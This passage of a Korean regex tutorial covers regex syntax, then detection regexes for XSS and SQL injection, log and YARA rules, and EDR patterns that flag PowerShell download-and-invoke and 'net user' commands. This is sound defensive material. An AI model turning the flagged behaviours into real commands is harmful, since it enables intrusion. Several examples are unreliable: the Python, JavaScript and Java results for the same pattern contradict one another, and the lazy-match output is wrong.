<td>n회 이상, m회 이하 반복</td>
</tr>
</tbody></table>
<h4 id="예시-1">예시:</h4>
<ul>
<li><code>a*</code> → 빈 문자열, <code>&quot;a&quot;</code>, <code>&quot;aa&quot;</code>, <code>&quot;aaa&quot;</code> 등</li>
<li><code>a+</code> → <code>&quot;a&quot;</code>, <code>&quot;aa&quot;</code>, <code>&quot;aaa&quot;</code> 등 (단, 최소 1회)</li>
<li><code>a{2,4}</code> → <code>&quot;aa&quot;</code>, <code>&quot;aaa&quot;</code>, <code>&quot;aaaa&quot;</code> 만 일치</li>
</ul>
<h3 id="24-앵커--점의-의미">2.4 앵커(^, $), 점(.)의 의미</h3>
<p><strong>앵커(anchor)</strong> 는 문자열 내에서 위치를 지정한다. 문자 자체가 아니라 위치 조건이다.</p>
<table>
<thead>
<tr>
<th>앵커</th>
<th>의미</th>
</tr>
</thead>
<tbody><tr>
<td><code>^</code></td>
<td>문자열의 시작</td>
</tr>
<tr>
<td><code>$</code></td>
<td>문자열의 끝</td>
</tr>
</tbody></table>
<h4 id="예시-2">예시:</h4>
<ul>
<li><code>^abc</code> → <code>&quot;abc&quot;</code>로 시작하는 문자열</li>
<li><code>xyz$</code> → <code>&quot;xyz&quot;</code>로 끝나는 문자열</li>
<li><code>^abc$</code> → 전체 문자열이 정확히 <code>&quot;abc&quot;</code>여야 매칭</li>
</ul>
<p><code>.</code> (점) 은 개행 문자를 제외한 임의의 문자 하나를 의미한다.</p>
<h4 id="예시-3">예시:</h4>
<ul>
<li><code>a.c</code> → <code>&quot;abc&quot;</code>, <code>&quot;a9c&quot;</code>, <code>&quot;a_c&quot;</code> 등과 매칭</li>
</ul>
<blockquote>
<p>주의: <code>.</code>은 빈 문자는 매칭하지 않으며, 기본 설정에서는 개행 문자(<code>\n</code>)도 매칭하지 않는다.</p>
</blockquote>
<h3 id="25-이스케이프-처리와-주석">2.5 이스케이프 처리와 주석</h3>
<p>정규표현식에서 특수문자(<code>.</code>, <code>*</code>, <code>+</code>, <code>?</code> 등)를 <strong>문자 그대로 사용하고 싶을 때는 이스케이프 문자 <code>\</code>를 사용</strong>한다.</p>
<h4 id="예시-4">예시:</h4>
<ul>
<li><code>\.</code> → 실제 점 문자 <code>.</code> 매칭</li>
<li><code>\d</code> → 숫자 (0-9)</li>
<li><code>\w</code> → 알파벳, 숫자, 밑줄 (word character)</li>
<li><code>\s</code> → 공백 문자 (스페이스, 탭 등)</li>
</ul>
<h4 id="주석">주석:</h4>
<p>정규표현식 자체에는 <strong>기본적으로 주석 기능이 없지만</strong>, 일부 언어 또는 플래그에서는 <code>x</code> 플래그를 통해 공백과 주석을 허용할 수 있다.</p>
<h4 id="python-예시-reverbose-플래그">Python 예시 (re.VERBOSE 플래그)</h4>
<pre><code class="language-python">pattern = re.compile(r&quot;&quot;&quot;
    ^              # 문자열의 시작
    [A-Z][a-z]+    # 대문자로 시작하고, 소문자 여러 개
    \s             # 공백 문자
    [A-Z][a-z]+    # 성
    $              # 문자열의 끝
&quot;&quot;&quot;, re.VERBOSE)</code></pre>
<hr>
<h2 id="3-캡처와-그룹화-대체">3. 캡처와 그룹화, 대체</h2>
<p>정규표현식에서 <code>()</code>는 단순히 <strong>여러 문자를 묶는 것(grouping)</strong> 을 넘어서, 해당 패턴에 매칭된 문자열을 <strong>&quot;기억(capture)&quot;</strong> 하게 만든다. 이 기능은 백레퍼런스, 치환, 추출 등에 매우 유용하게 사용된다.</p>
<h3 id="31-괄호--를-이용한-그룹화">3.1 괄호 () 를 이용한 그룹화</h3>
<p>정규표현식에서 <code>()</code>는 <strong>패턴을 논리적으로 묶어 하나의 단위로 처리</strong>할 수 있게 해준다.</p>
<h4 id="예시-5">예시:</h4>
<ul>
<li>정규표현식: <code>(ab)+</code><ul>
<li>의미: &quot;ab&quot;라는 문자열이 하나 이상 반복되는 패턴</li>
<li>매칭 예시: <code>&quot;abab&quot;</code>, <code>&quot;ab&quot;</code>, <code>&quot;ababab&quot;</code></li>
</ul>
</li>
</ul>
<p>또한 괄호로 묶인 부분은 <strong>자동으로 &quot;그룹 번호&quot;가 부여되며</strong>, 후속 처리나 참조에 사용된다.</p>
<table>
<thead>
<tr>
<th>그룹 번호</th>
<th>의미</th>
</tr>
</thead>
<tbody><tr>
<td><code>\1</code> 또는 <code>$1</code></td>
<td>첫 번째 괄호 그룹</td>
</tr>
<tr>
<td><code>\2</code>, <code>$2</code></td>
<td>두 번째 그룹</td>
</tr>
<tr>
<td>…</td>
<td>…</td>
</tr>
</tbody></table>
<blockquote>
<p>그룹 번호는 괄호가 열리는 순서대로 매겨진다.</p>
</blockquote>
<h3 id="32-캡처-그룹-vs-비캡처-그룹-">3.2 캡처 그룹 vs 비캡처 그룹 (?:)</h3>
<p>기본 괄호 <code>()</code>는 캡처를 수행하지만, 모든 그룹이 반드시 &quot;기억되어야&quot; 하는 것은 아니다. <strong>단순히 논리적 묶음만 하고, 캡처를 원치 않는 경우에는 <code>(?:...)</code>를 사용</strong>한다.</p>
<h4 id="예시-6">예시:</h4>
<ul>
<li>정규표현식: <code>(?:http|https)://</code><ul>
<li>의미: &quot;http://&quot; 또는 &quot;https://&quot; 로 시작하는 문자열</li>
<li>장점: http/https를 캡처 그룹으로 기억하지 않음</li>
</ul>
</li>
</ul>
<h4 id="차이점">차이점:</h4>
<table>
<thead>
<tr>
<th>표현식</th>
<th>그룹으로 기억?</th>
<th>사용 예</th>
</tr>
</thead>
<tbody><tr>
<td><code>(abc)</code></td>
<td>O (캡처 그룹)</td>
<td><code>\1</code>, <code>$1</code> 등으로 참조 가능</td>
</tr>
<tr>
<td><code>(?:abc)</code></td>
<td>X (비캡처 그룹)</td>
<td>참조하지 않고 그룹화만</td>
</tr>
</tbody></table>
<blockquote>
<p>비캡처 그룹은 성능상 이점이 있으며, 캡처가 불필요할 경우 반드시 사용하는 것이 좋다.</p>
</blockquote>
<h3 id="33-or-연산자-">3.3 OR 연산자 |</h3>
<p><code>|</code>는 <strong>OR 연산자</strong>, 즉 <strong>대체(alternation)</strong> 를 의미한다. 왼쪽 또는 오른쪽 패턴 중 <strong>하나라도 일치하면 매칭</strong>된다.</p>
<h4 id="예시-7">예시:</h4>
<ul>
<li><p>정규표현식: <code>cat|dog</code></p>
<ul>
<li><code>&quot;cat&quot;</code> 또는 <code>&quot;dog&quot;</code>와 매칭</li>
</ul>
</li>
<li><p>정규표현식: <code>(cat|dog)s?</code></p>
<ul>
<li><code>&quot;cat&quot;</code>, <code>&quot;cats&quot;</code>, <code>&quot;dog&quot;</code>, <code>&quot;dogs&quot;</code> 모두 매칭됨</li>
</ul>
</li>
</ul>
<blockquote>
<p>주의: <code>|</code>는 가장 가까운 괄호나 표현 범위까지만 적용되므로, 우선순위 제어를 위해 괄호를 꼭 사용하는 것이 좋다.</p>
</blockquote>
<h4 id="잘못된-예시">잘못된 예시:</h4>
<ul>
<li><code>http|https://</code>  <ul>
<li><code>&quot;http&quot;</code> 또는 <code>&quot;https://&quot;</code> 를 찾는다 (의도한 대로 작동하지 않음)</li>
</ul>
</li>
</ul>
<h4 id="올바른-예시">올바른 예시:</h4>
<ul>
<li><code>(http|https)://</code>  <ul>
<li><code>&quot;http://&quot;</code> 또는 <code>&quot;https://&quot;</code> 를 정확히 탐지</li>
</ul>
</li>
</ul>
<h3 id="34-백레퍼런스와-참조-활용">3.4 백레퍼런스와 참조 활용</h3>
<p>정규표현식의 강력한 기능 중 하나가 <strong>백레퍼런스(backreference)</strong> 이다. 앞서 매칭된 <strong>캡처 그룹의 값과 같은 값을 나중에 다시 참조</strong>할 수 있게 한다.</p>
<h4 id="표현-방식">표현 방식:</h4>
<table>
<thead>
<tr>
<th>표현 언어</th>
<th>백레퍼런스 표현</th>
</tr>
</thead>
<tbody><tr>
<td>정규표현식 내부</td>
<td><code>\1</code>, <code>\2</code> 등</td>
</tr>
<tr>
<td>Python, Perl 등</td>
<td><code>match.group(1)</code></td>
</tr>
<tr>
<td>치환(Replacement)</td>
<td><code>$1</code>, <code>$2</code> 등으로 표현되는 경우도 있음</td>
</tr>
</tbody></table>
<h4 id="예시-1-동일한-단어-반복-확인">예시 1: 동일한 단어 반복 확인</h4>
<pre><code class="language-regex">\b(\w+)\s+\1\b</code></pre>
<ul>
<li>의미: 동일한 단어가 연속으로 반복될 때 매칭 (예: <code>&quot;hello hello&quot;</code>)</li>
<li>그룹 1: 첫 번째 단어</li>
<li><code>\1</code>: 첫 번째 단어가 다시 나와야 매칭됨</li>
</ul>
<h4 id="예시-2-xml-태그-짝-확인">예시 2: XML 태그 짝 확인</h4>
<pre><code class="language-regex">&lt;(\w+)&gt;.*?&lt;/\1&gt;</code></pre>
<ul>
<li>의미: 열리는 태그와 닫히는 태그가 동일한 경우</li>
<li><code>(\w+)</code>: 태그명 캡처</li>
<li><code>&lt;/\1&gt;</code>: 동일한 태그명으로 닫힘</li>
</ul>
<blockquote>
<p>HTML과 같은 중첩 구조를 완벽히 다루기는 어렵지만, 간단한 태그 구조에서는 매우 유용하다.</p>
</blockquote>
<hr>
<h2 id="4-고급-패턴-구성-기법">4. 고급 패턴 구성 기법</h2>
<h3 id="41-lookahead-lookbehind-전방후방-탐색">4.1 Lookahead, Lookbehind (전방/후방 탐색)</h3>
<p><strong>Lookaround</strong>는 <strong>어떤 조건을 만족하는 &quot;앞&quot;이나 &quot;뒤&quot;의 텍스트를 검사하되, 실제 매칭에는 포함하지 않는 기능</strong>이다. 매우 강력하면서도 실전에서 자주 쓰인다.</p>
<h4 id="lookahead-전방-탐색">Lookahead (전방 탐색)</h4>
<p>패턴 <strong>뒤에 오는 내용</strong>을 조건으로 지정.</p>
<ul>
<li><code>(?=...)</code> : 긍정 전방 탐색 (positive lookahead)</li>
<li><code>(?!...)</code> : 부정 전방 탐색 (negative lookahead)</li>
</ul>
<h4 id="예시-8">예시:</h4>
<pre><code class="language-regex">\w+(?=@gmail\.com)</code></pre>
<ul>
<li>의미: <code>@gmail.com</code> 앞에 있는 단어만 매칭 (이메일 주소에서 사용자명 추출)</li>
</ul>
<pre><code class="language-regex">foo(?!bar)</code></pre>
<ul>
<li>의미: 뒤에 <code>bar</code>가 오지 않는 <code>foo</code>만 매칭</li>
</ul>
<h4 id="lookbehind-후방-탐색">Lookbehind (후방 탐색)</h4>
<p>패턴 <strong>앞에 오는 내용</strong>을 조건으로 지정.</p>
<ul>
<li><code>(?&lt;=...)</code> : 긍정 후방 탐색 (positive lookbehind)</li>
<li><code>(?&lt;!...)</code> : 부정 후방 탐색 (negative lookbehind)</li>
</ul>
<h4 id="예시-9">예시:</h4>
<pre><code class="language-regex">(?&lt;=\$)\d+</code></pre>
<ul>
<li>의미: <code>$</code> 기호 바로 뒤에 오는 숫자만 매칭 (가격 탐지 등)</li>
</ul>
<pre><code class="language-regex">(?&lt;!https:)//\w+</code></pre>
<ul>
<li>의미: <code>https:</code> 가 아닌 경우에만 <code>//</code> 뒤의 문자열 매칭</li>
</ul>
<blockquote>
<p>일부 언어(Python, JavaScript 등)에서는 후방 탐색에 고정 길이만 허용하는 제약이 있으니 사용 전 확인 필요.</p>
</blockquote>
<h3 id="42-조건부-표현식">4.2 조건부 표현식</h3>
<p>조건부 표현식은 <strong>이전에 캡처된 그룹이 존재하는지에 따라 패턴을 분기</strong>한다. 주로 복잡한 조건문 같은 처리가 필요한 경우 유용하다.</p>
<h4 id="문법">문법:</h4>
<pre><code class="language-regex">(?(group_number) then_pattern | else_pattern)</code></pre>
<h4 id="예시-10">예시:</h4>
<pre><code class="language-regex">(&lt;)?\w+(?(1)&gt;)</code></pre>
<ul>
<li>의미: <code>&lt;word&gt;</code> 또는 <code>word</code> 형태를 모두 처리<ul>
<li><code>&lt;</code>가 있으면, <code>&gt;</code>도 있어야 함</li>
<li>그룹 1이 매칭되었는지를 조건으로 판단</li>
</ul>
</li>
</ul>
<blockquote>
<p>실무에서 자주 쓰이진 않지만, XML/HTML 대응 구조 체크 등 특정 구조에서 유용하게 사용 가능함.</p>
</blockquote>
<h3 id="43-greedy-vs-lazy-매칭">4.3 Greedy vs Lazy 매칭</h3>
<p>정규표현식에서 반복자(<code>*</code>, <code>+</code>, <code>{n,m}</code> 등)는 기본적으로 <strong>Greedy(탐욕적)</strong> 하게 동작한다. 즉, 가능한 <strong>많은 문자를 매칭</strong>하려 한다. 이에 반해, <strong>Lazy(게으른)</strong> 매칭은 <strong>가능한 한 적은 양</strong>을 매칭한다.</p>
<table>
<thead>
<tr>
<th>반복자</th>
<th>의미</th>
<th>예시</th>
</tr>
</thead>
<tbody><tr>
<td><code>*</code></td>
<td>0회 이상 (Greedy)</td>
<td><code>a.*b</code> → <code>&quot;accccb&quot;</code> 전체 매칭</td>
</tr>
<tr>
<td><code>*?</code></td>
<td>0회 이상 (Lazy)</td>
<td><code>a.*?b</code> → <code>&quot;accccb&quot;</code> 중 <code>&quot;acccb&quot;</code>까지</td>
</tr>
</tbody></table>
<h4 id="예시-1-html-태그-내-텍스트-추출">예시 1: HTML 태그 내 텍스트 추출</h4>
<pre><code class="language-regex">&lt;.*&gt;</code></pre>
<ul>
<li>Greedy: <code>&lt;div&gt;&lt;p&gt;text&lt;/p&gt;&lt;/div&gt;</code> 전체를 한 번에 매칭</li>
</ul>
<pre><code class="language-regex">&lt;.*?&gt;</code></pre>
<ul>
<li>Lazy: <code>&lt;div&gt;</code>, <code>&lt;p&gt;</code> 등 태그 하나씩 각각 매칭</li>
</ul>
<blockquote>
<p>Lazy 모드를 활용하면 불필요한 과한 매칭 방지가 가능하므로, HTML, JSON 등 중첩 구조에서 매우 중요함.</p>
</blockquote>
<h3 id="44-멀티라인-모드-dotall-모드">4.4 멀티라인 모드, Dotall 모드</h3>
<p>정규표현식은 텍스트의 <strong>라인 구분 방식</strong>이나 <strong>개행 문자 처리 방식</strong>에 따라 동작 방식이 달라질 수 있다. 이 때 사용하는 것이 <strong>멀티라인 모드(m)</strong> 와 <strong>Dotall 모드(s)</strong> 이다.</p>
<h4 id="멀티라인-모드-m">멀티라인 모드 (<code>m</code>)</h4>
<ul>
<li><code>^</code>, <code>$</code>가 <strong>문서 전체</strong>가 아니라 <strong>각 줄의 시작/끝</strong>으로 작동하게 함</li>
</ul>
<pre><code class="language-regex">^Error</code></pre>
<ul>
<li>일반 모드: 문서 맨 앞에서만 <code>&quot;Error&quot;</code>를 찾음</li>
<li>멀티라인 모드: 각 줄의 시작에서 <code>&quot;Error&quot;</code>를 찾음</li>
</ul>
<blockquote>
<p>사용 예: 로그 파일처럼 줄 단위로 분석할 때 필수</p>
</blockquote>
<h4 id="dotall-모드-s">Dotall 모드 (<code>s</code>)</h4>
<ul>
<li><code>.</code> 문자가 개행(<code>\n</code>)을 제외하고 모든 문자와 매칭됨</li>
<li>Dotall 모드를 활성화하면 개행까지 포함한 전체 매칭이 가능</li>
</ul>
<pre><code class="language-regex">a.*b</code></pre>
<ul>
<li>일반 모드: <code>a</code>부터 <code>b</code>까지, 같은 줄에서만 매칭</li>
<li>Dotall 모드: 여러 줄에 걸쳐서 <code>a</code>부터 <code>b</code>까지 매칭 가능</li>
</ul>
<h4 id="활성화-방법-python-예시">활성화 방법 (Python 예시):</h4>
<pre><code class="language-regex">import re

re.findall(r&quot;^Error&quot;, log, flags=re.MULTILINE)
re.findall(r&quot;a.*b&quot;, text, flags=re.DOTALL)</code></pre>
<blockquote>
<p>대부분의 정규표현식 엔진(PCRE, Python, Java 등)은 <code>(?m)</code> 또는 <code>(?s)</code> 등으로 인라인으로도 설정 가능함</p>
</blockquote>
<hr>
<h2 id="5-정규표현식의-실무-활용">5. 정규표현식의 실무 활용</h2>
<h3 id="51-보안-필터링-xss-sqli-탐지-등">5.1 보안 필터링 (XSS, SQLi 탐지 등)</h3>
<p>정규표현식은 웹 보안에서 <strong>입력값 검증과 공격 탐지</strong>에 널리 사용된다. 가장 대표적인 것이 <strong>XSS(크로스사이트 스크립팅)</strong> 와 <strong>SQL 인젝션</strong> 필터링이다.</p>
<h4 id="예-xss-탐지를-위한-정규식">예: XSS 탐지를 위한 정규식</h4>
<pre><code class="language-regex">&lt;.*?(script|img|svg|iframe|on\w+)[^&gt;]*&gt;</code></pre>
<ul>
<li>의미: <code>&lt;script&gt;</code>, <code>&lt;img&gt;</code> 등의 위험 태그, <code>onload</code>, <code>onclick</code> 등 이벤트 속성 탐지</li>
</ul>
<pre><code class="language-regex">(?:javascript|vbscript|data):[^\s]+</code></pre>
<ul>
<li>의미: href 또는 src 속성 등에 포함된 JavaScript 실행 시도 탐지</li>
</ul>
<blockquote>
<p>정규표현식만으로 완전한 XSS 방지는 불가능하므로, WAF와 CSP와의 병행이 필수이다.</p>
</blockquote>
<h4 id="예-sql-injection-탐지를-위한-정규식">예: SQL Injection 탐지를 위한 정규식</h4>
<pre><code class="language-regex">(?:\%27)|(?:&#39;)|(?:--)|(/\*)|(\*/)|(\b(select|union|insert|drop|update|delete)\b)</code></pre>
<ul>
<li>의미: SQL 인젝션에서 자주 사용되는 특수문자와 키워드 탐지</li>
</ul>
<pre><code class="language-regex">\b(OR|AND)\b\s+\d+=\d+</code></pre>
<ul>
<li>의미: 논리 연산자를 통한 조건 우회 시도</li>
</ul>
<blockquote>
<p>고급 탐지에서는 정규표현식 외에 파라미터 분석, 행동 기반 탐지와 함께 사용된다.</p>
</blockquote>
<h3 id="52-로그-분석에서의-패턴-매칭">5.2 로그 분석에서의 패턴 매칭</h3>
<p>정규표현식은 보안 로그에서 <strong>이상 행위나 오류를 빠르게 필터링</strong>하는 데 핵심 도구로 쓰인다.</p>
<h4 id="예-apache-액세스-로그에서-비정상-요청-탐지">예: Apache 액세스 로그에서 비정상 요청 탐지</h4>
<pre><code class="language-regex">&quot;(GET|POST|HEAD)\s+(/[^\s]*)\s+HTTP/\d\.\d&quot;\s+(4\d{2}|5\d{2})</code></pre>
<ul>
<li>의미: 4xx 또는 5xx 에러 응답을 포함한 요청만 필터링</li>
</ul>
<h4 id="예-인증-실패-로그-탐지-ssh">예: 인증 실패 로그 탐지 (SSH)</h4>
<pre><code class="language-regex">Failed password for (invalid user )?\w+ from (\d{1,3}\.){3}\d{1,3}</code></pre>
<ul>
<li>의미: <code>sshd</code> 로그에서 로그인 실패 항목만 추출</li>
</ul>
<h3 id="53-이메일-url-ip-해시값-정규식">5.3 이메일, URL, IP, 해시값 정규식</h3>
<p>보안 필터나 스크립트 작성 시, <strong>표준 구조를 가진 데이터들을 인식하고 파싱</strong>하는 용도로 자주 사용된다.</p>
<h4 id="이메일">이메일</h4>
<pre><code class="language-regex">[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+</code></pre>
<h4 id="url">URL</h4>
<pre><code class="language-regex">https?:\/\/[\w.-]+(?:\.[\w.-]+)+(?:\/[\w\-.~:/?#[\]@!$&amp;&#39;()*+,;=]*)?</code></pre>
<h4 id="ipv4-주소">IPv4 주소</h4>
<pre><code class="language-regex">\b(?:\d{1,3}\.){3}\d{1,3}\b</code></pre>
<h4 id="해시값-md5-sha1-sha256">해시값 (MD5, SHA1, SHA256)</h4>
<pre><code class="language-regex">\b[a-fA-F0-9]{32}\b         # MD5  
\b[a-fA-F0-9]{40}\b         # SHA1  
\b[a-fA-F0-9]{64}\b         # SHA256</code></pre>
<h3 id="54-악성코드-분석에서의-yara--regex">5.4 악성코드 분석에서의 YARA + RegEx</h3>
<p>YARA에서는 문자열 패턴 탐지에 <strong>정규표현식을 직접 사용할 수 있음</strong>. 특히, 악성 코드 내 <strong>코드 조각, 함수 이름, 특정 문자열 시그니처</strong>를 탐지할 때 유용하다.</p>
<h4 id="예시-windows-api-호출-탐지">예시: Windows API 호출 탐지</h4>
<pre><code class="language-regex">rule Suspicious_API_Call
{
    strings:
        $re = /Create(Remote)?Thread/
    condition:
        $re
}</code></pre>
<ul>
<li>의미: 악성 행위에서 자주 등장하는 API (<code>CreateThread</code>, <code>CreateRemoteThread</code>) 탐지</li>
</ul>
<h4 id="예시-이메일-주소-내-포함된-코드-탐지">예시: 이메일 주소 내 포함된 코드 탐지</h4>
<pre><code class="language-yara">rule Encoded_Email_Exfiltration
{
    strings:
        $email = /[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,}/ nocase
    condition:
        $email
}</code></pre>
<p>YARA는 Perl Compatible RegEx(PCRE)를 지원하며, 복잡한 탐지를 위해서는 조합적 조건 구성이 중요하다.</p>
<h3 id="55-siemedrcti-룰에-적용되는-정규식">5.5 SIEM/EDR/CTI 룰에 적용되는 정규식</h3>
<p>대부분의 보안 플랫폼은 <strong>탐지 정책이나 룰셋 구성 시 정규표현식 기반의 필터링 규칙</strong>을 허용한다.</p>
<h4 id="siem-ex-splunk-elk">SIEM (ex. Splunk, ELK)</h4>
<ul>
<li>Splunk: <code>rex</code> 명령어 사용</li>
</ul>
<pre><code class="language-spl">index=web_logs | rex field=_raw &quot;GET\s+(?&lt;url_path&gt;\/\S+)\s+HTTP&quot;</code></pre>
<ul>
<li>Elasticsearch + Logstash의 Grok 필터</li>
</ul>
<pre><code class="language-grok">match =&gt; { &quot;message&quot; =&gt; &quot;%{IP:client} - - \[%{HTTPDATE:timestamp}\] \&quot;%{WORD:method} %{URIPATHPARAM:uri}&quot; }</code></pre>
<h4 id="edr-룰-기반-예">EDR 룰 기반 예</h4>
<ul>
<li>Process Command Line에 <code>powershell.+(download|invoke)</code> 포함 여부 필터링</li>
<li><code>cmd\.exe\s+/c\s+net\s+user</code> 같은 고전적 권한 탈취 행위 탐지</li>
</ul>
<h4 id="cti-기반-ioc-매칭">CTI 기반 IOC 매칭</h4>
<ul>
<li>외부에서 수집한 IOC 목록(도메인, URL, 해시 등)을 정규표현식으로 필터링하여 실시간 대응</li>
<li>MISP, OpenCTI 등의 플랫폼에서도 RegEx 매칭 기능 활용</li>
</ul>
<hr>
<h2 id="6-정규표현식-테스트-및-디버깅-도구">6. 정규표현식 테스트 및 디버깅 도구</h2>
<h3 id="61-온라인-정규식-테스트-플랫폼-regex101-regexr-등">6.1 온라인 정규식 테스트 플랫폼 (regex101, regexr 등)</h3>
<p>정규표현식을 개발하고 실험할 때 가장 먼저 활용되는 것이 <strong>온라인 테스트 툴</strong>이다. 주요 기능은 다음과 같다:</p>
<h4 id="대표적인-플랫폼">대표적인 플랫폼</h4>
<table>
<thead>
<tr>
<th>플랫폼</th>
<th>특징</th>
</tr>
</thead>
<tbody><tr>
<td><a href="https://regex101.com">regex101.com</a></td>
<td>가장 널리 사용됨. 실시간 매칭 확인, 표현식 해석, 오류 메시지 제공, 여러 언어 모드(Python, JS, PHP 등) 지원</td>
</tr>
<tr>
<td><a href="https://regexr.com">regexr.com</a></td>
<td>시각화에 강함. 예제 내장, 문법 팁, 문서 연결 탁월</td>
</tr>
<tr>
<td><a href="https://www.regexplanet.com">regexplanet.com</a></td>
<td>다양한 언어별 정규식 테스트 가능 (Java, Python, C#, Ruby 등)</td>
</tr>
<tr>
<td><a href="http://regexstorm.net/">regexstorm.net</a></td>
<td>.NET 정규식 전용. Lookbehind 등 지원 여부 확인에 유리</td>
</tr>
</tbody></table>
<h4 id="실습-팁">실습 팁</h4>
<ul>
<li>테스트 문자열을 실제 로그, URL 목록, 이메일 집합 등 실제 상황과 유사한 예시로 구성해야 한다.</li>
<li>플랫폼에서 제공하는 &quot;Explain&quot; 탭을 확인하면 각 표현식의 작동 원리를 시각적으로 파악할 수 있다.</li>
<li>복잡한 조건은 테스트 후 &quot;Unit Test&quot;처럼 케이스별 검증하는 습관이 필요하다.</li>
</ul>
<h3 id="62-주요-언어에서의-디버깅-팁-python-js-java-등">6.2 주요 언어에서의 디버깅 팁 (Python, JS, Java 등)</h3>
<h4 id="python">Python</h4>
<ul>
<li><code>re</code> 모듈 사용. <code>re.compile()</code>로 사전 컴파일 후 <code>.search()</code>나 <code>.match()</code>로 테스트 가능.</li>
</ul>
<pre><code class="language-python">import re

pattern = re.compile(r&quot;\b\d{3}-\d{4}\b&quot;)
match = pattern.search(&quot;전화번호는 010-1234입니다.&quot;)
print(match)  # None (패턴 불일치)</code></pre>
<ul>
<li>디버깅 팁<ul>
<li><code>pattern.findall(text)</code>로 매칭되는 모든 항목 출력</li>
<li><code>re.DEBUG</code> 플래그로 컴파일 로그 출력 가능</li>
</ul>
</li>
</ul>
<pre><code class="language-python">re.compile(r&quot;\d+&quot;, re.DEBUG)</code></pre>
<h4 id="javascript">JavaScript</h4>
<ul>
<li><code>RegExp</code> 객체 사용. <code>test()</code>, <code>match()</code>, <code>exec()</code> 등을 활용</li>
</ul>
<pre><code class="language-javascript">let pattern = /\b\d{3}-\d{4}\b/;
console.log(pattern.test(&quot;전화번호는 010-1234입니다.&quot;));  // true</code></pre>
<ul>
<li>디버깅 팁<ul>
<li>브라우저 콘솔에서 실시간 테스트</li>
<li>Lookbehind는 최신 브라우저에서만 지원됨</li>
<li><code>matchAll()</code>로 모든 그룹 추출 가능</li>
</ul>
</li>
</ul>
<h4 id="java">Java</h4>
<ul>
<li><code>Pattern</code>과 <code>Matcher</code> 클래스 사용</li>
</ul>
<pre><code class="language-java">Pattern pattern = Pattern.compile(&quot;\\b\\d{3}-\\d{4}\\b&quot;);
Matcher matcher = pattern.matcher(&quot;전화번호는 010-1234입니다.&quot;);
System.out.println(matcher.find());  // true</code></pre>
<ul>
<li>디버깅 팁<ul>
<li><code>matcher.group()</code>으로 캡처된 결과 확인</li>
<li>Java는 일부 Perl 스타일 기능 미지원 (예: 조건부 표현식)</li>
</ul>
</li>
</ul>
<h4 id="언어별-주의할-점-요약">언어별 주의할 점 요약</h4>
<table>
<thead>
<tr>
<th>언어</th>
<th>주의사항</th>
</tr>
</thead>
<tbody><tr>
<td>Python</td>
<td><code>(?&lt;=...)</code> 등 Lookbehind 사용 가능, <code>re.DEBUG</code> 유용</td>
</tr>
<tr>
<td>JavaScript</td>
<td>Lookbehind는 일부 환경에서만 지원</td>
</tr>
<tr>
<td>Java</td>
<td>일부 고급 정규식 미지원, 그룹 추출은 <code>matcher.group(n)</code></td>
</tr>
<tr>
<td>C# (.NET)</td>
<td>가장 강력한 정규식 지원, 조건부 패턴까지 가능</td>
</tr>
</tbody></table>
<h3 id="63-오류-메시지-해석-및-문제-해결">6.3 오류 메시지 해석 및 문제 해결</h3>
<h4 id="자주-발생하는-오류-유형">자주 발생하는 오류 유형</h4>
<table>
<thead>
<tr>
<th>오류 메시지 예시</th>
<th>원인</th>
<th>해결 방법</th>
</tr>
</thead>
<tbody><tr>
<td><code>nothing to repeat</code></td>
<td><code>*</code>, <code>+</code> 앞에 올 표현식 없음</td>
<td><code>a*</code>가 아니라 <code>*a</code>처럼 잘못 작성된 경우</td>
</tr>
<tr>
<td><code>unterminated character class</code></td>
<td>닫는 <code>]</code> 누락</td>
<td><code>[A-Z</code> → <code>[A-Z]</code></td>
</tr>
<tr>
<td><code>lookbehind assertion is not fixed width</code></td>
<td>Lookbehind 길이가 가변적임</td>
<td><code>(?&lt;=a+)</code> → 불가. <code>(?&lt;=abc)</code>처럼 고정 길이여야 함</td>
</tr>
<tr>
<td><code>invalid escape sequence</code></td>
<td>백슬래시 두 개 필요 (<code>\\</code>)</td>
<td>Python에서 <code>&quot;\d&quot;</code>는 에러 → <code>&quot;\\d&quot;</code> 또는 <code>r&quot;\d&quot;</code> 사용</td>
</tr>
<tr>
<td><code>stack overflow</code> or <code>catastrophic backtracking</code></td>
<td>과도한 그룹/반복으로 인해 백트래킹 폭주</td>
<td>불필요한 반복 제거, Lazy 사용 고려 (<code>+?</code>, <code>*?</code>)</td>
</tr>
</tbody></table>
<h4 id="디버깅-전략">디버깅 전략</h4>
<ul>
<li><strong>표현식 분해</strong>: 하나의 긴 표현식을 나누어 <strong>각 부분만 따로 테스트</strong></li>
<li><strong>단계별 테스트</strong>: 입력 케이스를 단계별로 바꾸어 가며 매칭 결과 확인</li>
<li><strong>오류 메시지 검색</strong>: regex101의 설명 탭이나 StackOverflow 검색 활용</li>
<li><strong>주석 기능 활용</strong>: 일부 엔진(Python 등)에서는 <code>(?x)</code>를 사용해 <strong>정규식에 주석 삽입 가능</strong></li>
</ul>
<pre><code class="language-python">pattern = re.compile(r&#39;&#39;&#39;
    ^               # 시작
    [a-zA-Z0-9._%+-]+   # 사용자 이름
    @               # @ 기호
    [a-zA-Z0-9.-]+      # 도메인
    \.[a-zA-Z]{2,}$     # 최상위 도메인
&#39;&#39;&#39;, re.VERBOSE)</code></pre>
<hr>
<h2 id="7-실무-환경에서의-최적화-전략">7. 실무 환경에서의 최적화 전략</h2>
<h3 id="71-성능-문제와-nfa-vs-dfa-이해">7.1 성능 문제와 NFA vs DFA 이해</h3>
<p>정규식의 성능 문제는 대체로 정규식 엔진이 사용하는 <strong>NFA(Non-deterministic Finite Automaton)</strong> 와 <strong>DFA(Deterministic Finite Automaton)</strong> 모델에 따라 달라진다. 이 두 모델은 정규식의 매칭 과정에서 중요한 차이점을 가지고 있다.</p>
<h4 id="nfa-비결정적-유한-오토마톤">NFA (비결정적 유한 오토마톤)</h4>
<p>특징: NFA는 여러 상태를 동시에 추적할 수 있기 때문에, 다양한 경로를 동시에 탐색한다. 이 방식은 그 자체로 매우 유연하지만, 성능 문제를 일으킬 수 있다.    </p>
<p>성능 문제: 복잡한 정규식을 사용할 경우, 상태 전환이 과도하게 발생하여, 특히 백트래킹(backtracking) 이 많이 일어날 수 있다. 백트래킹은 시간 복잡도가 증가하게 하여 성능에 악영향을 미친다.</p>
<p>예시: <code>.*a.*b.*c</code>와 같은 패턴은 NFA에서 백트래킹을 발생시키기 쉽다.</p>
<h4 id="dfa-결정적-유한-오토마톤">DFA (결정적 유한 오토마톤)</h4>
